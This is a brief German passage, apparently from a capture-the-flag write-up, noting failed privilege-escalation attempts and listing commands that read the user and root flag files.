Die Versuche zur Privilegieneskalation sind fehlgeschlagen. Es wurden verschiedene Exploits ausprobiert, aber keiner war erfolgreich.

Flags

cat user.txt userflag
cat root.txt rootflag